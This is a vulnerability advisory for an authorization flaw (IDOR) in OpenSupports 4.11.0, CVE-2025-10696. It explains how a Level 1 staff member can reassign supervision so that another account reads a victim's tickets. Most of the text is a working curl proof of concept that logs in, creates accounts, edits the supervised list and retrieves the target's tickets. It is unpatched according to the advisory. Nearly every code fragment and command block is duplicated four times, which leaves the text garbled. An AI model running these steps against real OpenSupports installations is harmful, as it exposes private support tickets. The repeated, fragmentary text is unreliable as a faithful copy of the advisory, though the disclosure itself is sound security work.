Description OpenSupports exposes an endpoint that allows the list of 'supervised users' for any account to be edited, but it does not validate whether the actor is the owner of that list. A Level 1 staff member can modify the supervision relationship of a third party (the target user), who can then view the tickets of the added 'supervised' users. This breaks the authorization model and filters the content of other users' tickets.
Vulnerability Relevant fragments from the backend (server):
Edit list without ownership (server/controllers/user/edit-supervised-list.php):
return [ 'permission' => 'staff_1' , ... ]
return [ 'permission' => 'staff_1' , ... ]
return [ 'permission' => 'staff_1' , ... ]
return [ 'permission' => 'staff_1' , ... ]
Secure pattern for comparison (server/controllers/staff/get-tickets.php):
if ( Controller : : isStaffLogged ( ) ) throw new RequestException ( ERRORS : : NO_PERMISSION) ;
array_push ( $authors , [ 'id' => $supervised, 'isStaff' => 0] ) ;
if ( Controller : : isStaffLogged ( ) ) throw new RequestException ( ERRORS : : NO_PERMISSION) ;
array_push ( $authors , [ 'id' => $supervised, 'isStaff' => 0] ) ;
if ( Controller : : isStaffLogged ( ) ) throw new RequestException ( ERRORS : : NO_PERMISSION) ;
array_push ( $authors , [ 'id' => $supervised, 'isStaff' => 0] ) ;
if ( Controller : : isStaffLogged ( ) ) throw new RequestException ( ERRORS : : NO_PERMISSION) ;
array_push ( $authors , [ 'id' => $supervised, 'isStaff' => 0] ) ;
Author filter (server/controllers/ticket/search.php):
if ( $author [ 'isStaff' ] ) { ticket .author_staff_id = ... } else { ticket .author_id = ... }
if ( $author [ 'isStaff' ] ) { ticket .author_staff_id = ... } else { ticket .author_id = ... }
if ( $author [ 'isStaff' ] ) { ticket .author_staff_id = ... } else { ticket .author_id = ... }
if ( $author [ 'isStaff' ] ) { ticket .author_staff_id = ... } else { ticket .author_id = ... }
Together, these pieces allow a staff_1 to impose external supervisory relationships and the resulting “supervisor” user to list tickets for victims.
PoC Log in staff2 (level 1) and obtain CSRF:
curl -c staff2 .cookies -sS -X POST \
'http://localhost:5543/api/user/login' \
-d 'staff=1' -d 'email=staff2@yopmail.com' -d 'password=Test1234@' | tee staff2_login .json
export S_UID =$ ( jq -r '.data .userId ' staff2_login.json)
export S_TOK =$ ( jq -r '.data .token ' staff2_login.json)
curl -c staff2 .cookies -sS -X POST \
'http://localhost:5543/api/user/login' \
-d 'staff=1' -d 'email=staff2@yopmail.com' -d 'password=Test1234@' | tee staff2_login .json
export S_UID =$ ( jq -r '.data .userId ' staff2_login.json)
export S_TOK =$ ( jq -r '.data .token ' staff2_login.json)
curl -c staff2 .cookies -sS -X POST \
'http://localhost:5543/api/user/login' \
-d 'staff=1' -d 'email=staff2@yopmail.com' -d 'password=Test1234@' | tee staff2_login .json
export S_UID =$ ( jq -r '.data .userId ' staff2_login.json)
export S_TOK =$ ( jq -r '.data .token ' staff2_login.json)
curl -c staff2 .cookies -sS -X POST \
'http://localhost:5543/api/user/login' \
-d 'staff=1' -d 'email=staff2@yopmail.com' -d 'password=Test1234@' | tee staff2_login .json
export S_UID =$ ( jq -r '.data .userId ' staff2_login.json)
export S_TOK =$ ( jq -r '.data .token ' staff2_login.json)
Create Supervisor (S) and Target (T):
SUP_EMAIL ="super$(openssl rand -hex 2)@yopmail.com" ; TGT_EMAIL ="target$(openssl rand -hex 2)@yopmail.com" ; PASS ='P@ssw0rd1!'
curl -sS -X POST 'http://localhost:5543/api/user/signup' \
-d "name=Supervisor" -d "email=$SUP_EMAIL" -d "password=$PASS" | tee sup_signup .json
curl -sS -X POST 'http://localhost:5543/api/user/signup' \
-d "name=Target" -d "email=$TGT_EMAIL" -d "password=$PASS" | tee tgt_signup .json
export SUP_ID =$ ( jq -r '.data .userId ' sup_signup.json)
export TGT_ID =$ ( jq -r '.data .userId ' tgt_signup.json)
SUP_EMAIL ="super$(openssl rand -hex 2)@yopmail.com" ; TGT_EMAIL ="target$(openssl rand -hex 2)@yopmail.com" ; PASS ='P@ssw0rd1!'
curl -sS -X POST 'http://localhost:5543/api/user/signup' \
-d "name=Supervisor" -d "email=$SUP_EMAIL" -d "password=$PASS" | tee sup_signup .json
curl -sS -X POST 'http://localhost:5543/api/user/signup' \
-d "name=Target" -d "email=$TGT_EMAIL" -d "password=$PASS" | tee tgt_signup .json
export SUP_ID =$ ( jq -r '.data .userId ' sup_signup.json)
export TGT_ID =$ ( jq -r '.data .userId ' tgt_signup.json)
SUP_EMAIL ="super$(openssl rand -hex 2)@yopmail.com" ; TGT_EMAIL ="target$(openssl rand -hex 2)@yopmail.com" ; PASS ='P@ssw0rd1!'
curl -sS -X POST 'http://localhost:5543/api/user/signup' \
-d "name=Supervisor" -d "email=$SUP_EMAIL" -d "password=$PASS" | tee sup_signup .json
curl -sS -X POST 'http://localhost:5543/api/user/signup' \
-d "name=Target" -d "email=$TGT_EMAIL" -d "password=$PASS" | tee tgt_signup .json
export SUP_ID =$ ( jq -r '.data .userId ' sup_signup.json)
export TGT_ID =$ ( jq -r '.data .userId ' tgt_signup.json)
SUP_EMAIL ="super$(openssl rand -hex 2)@yopmail.com" ; TGT_EMAIL ="target$(openssl rand -hex 2)@yopmail.com" ; PASS ='P@ssw0rd1!'
curl -sS -X POST 'http://localhost:5543/api/user/signup' \
-d "name=Supervisor" -d "email=$SUP_EMAIL" -d "password=$PASS" | tee sup_signup .json
curl -sS -X POST 'http://localhost:5543/api/user/signup' \
-d "name=Target" -d "email=$TGT_EMAIL" -d "password=$PASS" | tee tgt_signup .json
export SUP_ID =$ ( jq -r '.data .userId ' sup_signup.json)
export TGT_ID =$ ( jq -r '.data .userId ' tgt_signup.json)
Login Target (T) and create a ticket:
curl -c tgt .cookies -sS -X POST \
'http://localhost:5543/api/user/login' \
-d "email=$TGT_EMAIL" -d "password=$PASS" | tee tgt_login .json
export T_UID =$ ( jq -r '.data .userId ' tgt_login.json)
export T_TOK =$ ( jq -r '.data .token ' tgt_login.json)
TITLE ="IDOR-$(openssl rand -hex 2)"
curl -b tgt .cookies -sS -X POST \
'http://localhost:5543/api/ticket/create' \
-d "csrf_userid=$T_UID" -d "csrf_token=$T_TOK" \
-d "title=$TITLE" -d 'content=from target' -d 'departmentId=1' -d 'language=en'
curl -c tgt .cookies -sS -X POST \
'http://localhost:5543/api/user/login' \
-d "email=$TGT_EMAIL" -d "password=$PASS" | tee tgt_login .json
export T_UID =$ ( jq -r '.data .userId ' tgt_login.json)
export T_TOK =$ ( jq -r '.data .token ' tgt_login.json)
TITLE ="IDOR-$(openssl rand -hex 2)"
curl -b tgt .cookies -sS -X POST \
'http://localhost:5543/api/ticket/create' \
-d "csrf_userid=$T_UID" -d "csrf_token=$T_TOK" \
-d "title=$TITLE" -d 'content=from target' -d 'departmentId=1' -d 'language=en'
curl -c tgt .cookies -sS -X POST \
'http://localhost:5543/api/user/login' \
-d "email=$TGT_EMAIL" -d "password=$PASS" | tee tgt_login .json
export T_UID =$ ( jq -r '.data .userId ' tgt_login.json)
export T_TOK =$ ( jq -r '.data .token ' tgt_login.json)
TITLE ="IDOR-$(openssl rand -hex 2)"
curl -b tgt .cookies -sS -X POST \
'http://localhost:5543/api/ticket/create' \
-d "csrf_userid=$T_UID" -d "csrf_token=$T_TOK" \
-d "title=$TITLE" -d 'content=from target' -d 'departmentId=1' -d 'language=en'
curl -c tgt .cookies -sS -X POST \
'http://localhost:5543/api/user/login' \
-d "email=$TGT_EMAIL" -d "password=$PASS" | tee tgt_login .json
export T_UID =$ ( jq -r '.data .userId ' tgt_login.json)
export T_TOK =$ ( jq -r '.data .token ' tgt_login.json)
TITLE ="IDOR-$(openssl rand -hex 2)"
curl -b tgt .cookies -sS -X POST \
'http://localhost:5543/api/ticket/create' \
-d "csrf_userid=$T_UID" -d "csrf_token=$T_TOK" \
-d "title=$TITLE" -d 'content=from target' -d 'departmentId=1' -d 'language=en'
IDOR: staff2 assigns S the “supervised” T:
curl -b staff2 .cookies -sS -X POST \
'http://localhost:5543/api/user/edit-supervised-list' \
-d "csrf_userid=$S_UID" -d "csrf_token=$S_TOK" \
-d "userId=$SUP_ID" \
-d "userIdList=$(jq -c -n --arg id " $TGT_ID " '[($id|tonumber)]')"
curl -b staff2 .cookies -sS -X POST \
'http://localhost:5543/api/user/edit-supervised-list' \
-d "csrf_userid=$S_UID" -d "csrf_token=$S_TOK" \
-d "userId=$SUP_ID" \
-d "userIdList=$(jq -c -n --arg id " $TGT_ID " '[($id|tonumber)]')"
curl -b staff2 .cookies -sS -X POST \
'http://localhost:5543/api/user/edit-supervised-list' \
-d "csrf_userid=$S_UID" -d "csrf_token=$S_TOK" \
-d "userId=$SUP_ID" \
-d "userIdList=$(jq -c -n --arg id " $TGT_ID " '[($id|tonumber)]')"
curl -b staff2 .cookies -sS -X POST \
'http://localhost:5543/api/user/edit-supervised-list' \
-d "csrf_userid=$S_UID" -d "csrf_token=$S_TOK" \
-d "userId=$SUP_ID" \
-d "userIdList=$(jq -c -n --arg id " $TGT_ID " '[($id|tonumber)]')"
Log in S and obtain supervised tickets from T:
curl -c sup .cookies -sS -X POST \
'http://localhost:5543/api/user/login' \
-d "email=$SUP_EMAIL" -d "password=$PASS" | tee sup_login .json
export U_UID =$ ( jq -r '.data .userId ' sup_login.json)
export U_TOK =$ ( jq -r '.data .token ' sup_login.json)
curl -b sup .cookies -sS -X POST \
'http://localhost:5543/api/user/get-supervised-tickets' \
-d "csrf_userid=$U_UID" -d "csrf_token=$U_TOK" \
-d "supervisedUsers=$(jq -c -n --arg id " $TGT_ID " '[($id|tonumber)]')" \
-d 'showOwnTickets=0' -d 'page=1' -d 'pageSize=10' | jq '.data.tickets[].title'
curl -c sup .cookies -sS -X POST \
'http://localhost:5543/api/user/login' \
-d "email=$SUP_EMAIL" -d "password=$PASS" | tee sup_login .json
export U_UID =$ ( jq -r '.data .userId ' sup_login.json)
export U_TOK =$ ( jq -r '.data .token ' sup_login.json)
curl -b sup .cookies -sS -X POST \
'http://localhost:5543/api/user/get-supervised-tickets' \
-d "csrf_userid=$U_UID" -d "csrf_token=$U_TOK" \
-d "supervisedUsers=$(jq -c -n --arg id " $TGT_ID " '[($id|tonumber)]')" \
-d 'showOwnTickets=0' -d 'page=1' -d 'pageSize=10' | jq '.data.tickets[].title'
curl -c sup .cookies -sS -X POST \
'http://localhost:5543/api/user/login' \
-d "email=$SUP_EMAIL" -d "password=$PASS" | tee sup_login .json
export U_UID =$ ( jq -r '.data .userId ' sup_login.json)
export U_TOK =$ ( jq -r '.data .token ' sup_login.json)
curl -b sup .cookies -sS -X POST \
'http://localhost:5543/api/user/get-supervised-tickets' \
-d "csrf_userid=$U_UID" -d "csrf_token=$U_TOK" \
-d "supervisedUsers=$(jq -c -n --arg id " $TGT_ID " '[($id|tonumber)]')" \
-d 'showOwnTickets=0' -d 'page=1' -d 'pageSize=10' | jq '.data.tickets[].title'
curl -c sup .cookies -sS -X POST \
'http://localhost:5543/api/user/login' \
-d "email=$SUP_EMAIL" -d "password=$PASS" | tee sup_login .json
export U_UID =$ ( jq -r '.data .userId ' sup_login.json)
export U_TOK =$ ( jq -r '.data .token ' sup_login.json)
curl -b sup .cookies -sS -X POST \
'http://localhost:5543/api/user/get-supervised-tickets' \
-d "csrf_userid=$U_UID" -d "csrf_token=$U_TOK" \
-d "supervisedUsers=$(jq -c -n --arg id " $TGT_ID " '[($id|tonumber)]')" \
-d 'showOwnTickets=0' -d 'page=1' -d 'pageSize=10' | jq '.data.tickets[].title'
Evidence of Exploitation VIDEO Our security policy We have reserved the ID CVE-2025-10696 to refer to this issue from now on.
Disclosure policy
System Information OpenSupports
Version 4.11.0
Operating System: Any
References Mitigation There is currently no patch available for this vulnerability.
Credits The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.